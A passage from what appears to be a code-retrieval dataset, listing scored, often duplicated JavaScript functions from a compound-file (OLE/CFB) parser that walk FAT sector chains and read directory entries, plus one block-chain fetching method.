break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "c4750b9de0a0c2e012dd76767109150a", "score": "0.5716435", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "c4750b9de0a0c2e012dd76767109150a", "score": "0.5716435", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "c4750b9de0a0c2e012dd76767109150a", "score": "0.5716435", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "c4750b9de0a0c2e012dd76767109150a", "score": "0.5716435", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "19f44de936a32f8bfcae4ad9f736c9c4", "score": "0.57023764", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar sl = sectors.length;\n\tvar buf, buf_chain;\n\tif(!chkd) chkd = new Array(sl);\n\tvar modulus = ssz - 1, j, jj;\n\tbuf = [];\n\tbuf_chain = [];\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "7e7a4f3d45d15b88f51751aa0be200b9", "score": "0.5669032", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\t\tvar sl = sectors.length, sector_list = new Array(sl);\n\t\tvar chkd = new Array(sl), buf, buf_chain;\n\t\tvar modulus = ssz - 1, i, j, k, jj;\n\t\tfor(i=0; i < sl; ++i) {\n\t\t\tbuf = [];\n\t\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\t\tif(chkd[k] === true) continue;\n\t\t\tbuf_chain = [];\n\t\t\tfor(j=k; j>=0;) {\n\t\t\t\tchkd[j] = true;\n\t\t\t\tbuf[buf.length] = j;\n\t\t\t\tbuf_chain.push(sectors[j]);\n\t\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\t\tjj = ((j*4) & modulus);\n\t\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t\t}\n\t\t\tsector_list[k] = {nodes: buf, data:__toBuffer([buf_chain])};\n\t\t}\n\t\treturn sector_list;\n\t}", "title": "" }, { "docid": "a69c59770fd2da06a929f73b71b3c239", "score": "0.56076205", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\tvar q;\n\tif(idx === ENDOFCHAIN) {\n\t\tif(cnt !== 0) throw \"DIFAT chain shorter than expected\";\n\t} else if(idx !== -1 /*FREESECT*/) {\n\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\tfor(var i = 0; i < m; ++i) {\n\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\tfat_addrs.push(q);\n\t\t}\n\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t}\n}", "title": "" }, { "docid": "a69c59770fd2da06a929f73b71b3c239", "score": "0.56076205", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\tvar q;\n\tif(idx === ENDOFCHAIN) {\n\t\tif(cnt !== 0) throw \"DIFAT chain shorter than expected\";\n\t} else if(idx !== -1 /*FREESECT*/) {\n\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\tfor(var i = 0; i < m; ++i) {\n\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\tfat_addrs.push(q);\n\t\t}\n\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t}\n}", "title": "" }, { "docid": "a69c59770fd2da06a929f73b71b3c239", "score": "0.56076205", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\tvar q;\n\tif(idx === ENDOFCHAIN) {\n\t\tif(cnt !== 0) throw \"DIFAT chain shorter than expected\";\n\t} else if(idx !== -1 /*FREESECT*/) {\n\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\tfor(var i = 0; i < m; ++i) {\n\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\tfat_addrs.push(q);\n\t\t}\n\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t}\n}", "title": "" }, { "docid": "a69c59770fd2da06a929f73b71b3c239", "score": "0.56076205", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\tvar q;\n\tif(idx === ENDOFCHAIN) {\n\t\tif(cnt !== 0) throw \"DIFAT chain shorter than expected\";\n\t} else if(idx !== -1 /*FREESECT*/) {\n\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\tfor(var i = 0; i < m; ++i) {\n\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\tfat_addrs.push(q);\n\t\t}\n\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t}\n}", "title": "" }, { "docid": "2dc0d6d2b85ca9b1a57bea882294fbbe", "score": "0.55707926", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\tvar q;\n\tif(idx === ENDOFCHAIN) {\n\t\tif(cnt !== 0) throw \"DIFAT chain shorter than expected\";\n\t} else if(idx !== -1 /*FREESECT*/) {\n\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\tif(!sector) return;\n\t\tfor(var i = 0; i < m; ++i) {\n\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\tfat_addrs.push(q);\n\t\t}\n\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t}\n}", "title": "" }, { "docid": "86c72a1344a6cc69400076a6c3432f7a", "score": "0.55470896", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\t\tvar q;\n\t\tif(idx === ENDOFCHAIN) {\n\t\t\tif(cnt !== 0) throw \"DIFAT chain shorter than expected\";\n\t\t} else if(idx !== -1 /*FREESECT*/) {\n\t\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\t\tfor(var i = 0; i < m; ++i) {\n\t\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\t\tfat_addrs.push(q);\n\t\t\t}\n\t\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t\t}\n\t}", "title": "" }, { "docid": "df98429adc95bd4d452248f53a2c080f", "score": "0.53979784", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n var minifat_store = 0,\n pl = Paths.length ? 2 : 0;\n var sector = sector_list[dir_start].data;\n var i = 0,\n namelen = 0,\n name;\n\n for (; i < sector.length; i += 128) {\n var blob = sector.slice(i, i + 128);\n prep_blob(blob, 64);\n namelen = blob.read_shift(2);\n name = __utf16le(blob, 0, namelen - pl);\n Paths.push(name);\n var o = {\n name: name,\n type: blob.read_shift(1),\n color: blob.read_shift(1),\n L: blob.read_shift(4, 'i'),\n R: blob.read_shift(4, 'i'),\n C: blob.read_shift(4, 'i'),\n clsid: blob.read_shift(16),\n state: blob.read_shift(4, 'i'),\n start: 0,\n size: 0\n };\n var ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n if (ctime !== 0) o.ct = read_date(blob, blob.l - 8);\n var mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n if (mtime !== 0) o.mt = read_date(blob, blob.l - 8);\n o.start = blob.read_shift(4, 'i');\n o.size = blob.read_shift(4, 'i');\n\n if (o.size < 0 && o.start < 0) {\n o.size = o.type = 0;\n o.start = ENDOFCHAIN;\n o.name = \"\";\n }\n\n if (o.type === 5) {\n /* root */\n minifat_store = o.start;\n if (nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n /*minifat_size = o.size;*/\n } else if (o.size >= 4096\n /* MSCSZ */\n ) {\n o.storage = 'fat';\n if (sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n sector_list[o.start].name = o.name;\n o.content = sector_list[o.start].data.slice(0, o.size);\n } else {\n o.storage = 'minifat';\n if (o.size < 0) o.size = 0;else if (minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n o.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini] || {}).data);\n }\n }\n\n if (o.content) prep_blob(o.content, 0);\n files[name] = o;\n FileIndex.push(o);\n }\n }", "title": "" }, { "docid": "d941292b3be40f1299343361fa79385b", "score": "0.5363669", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = (sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size));\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "6691cacb17e64057e80199d047164bcd", "score": "0.5322965", "text": "async fetchChain (pageSize = 20, startCid) {\n let nextBlock = null\n if (!startCid) {\n nextBlock = await this.fetchHeadBlock()\n } else {\n nextBlock = await this.fetchBlock(startCid)\n }\n // init the chain with the head block\n let section = [[nextBlock]]\n while (section.length < pageSize) {\n let generation = await this.fetchParents(nextBlock)\n let parentBlock = generation[0]\n let nulls = this.createNullGenerations(nextBlock, parentBlock)\n section = section.concat(nulls).concat([generation])\n nextBlock = parentBlock\n }\n return section\n }", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "ceb7fcd940c46c014bc193a2d7a5be6d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, 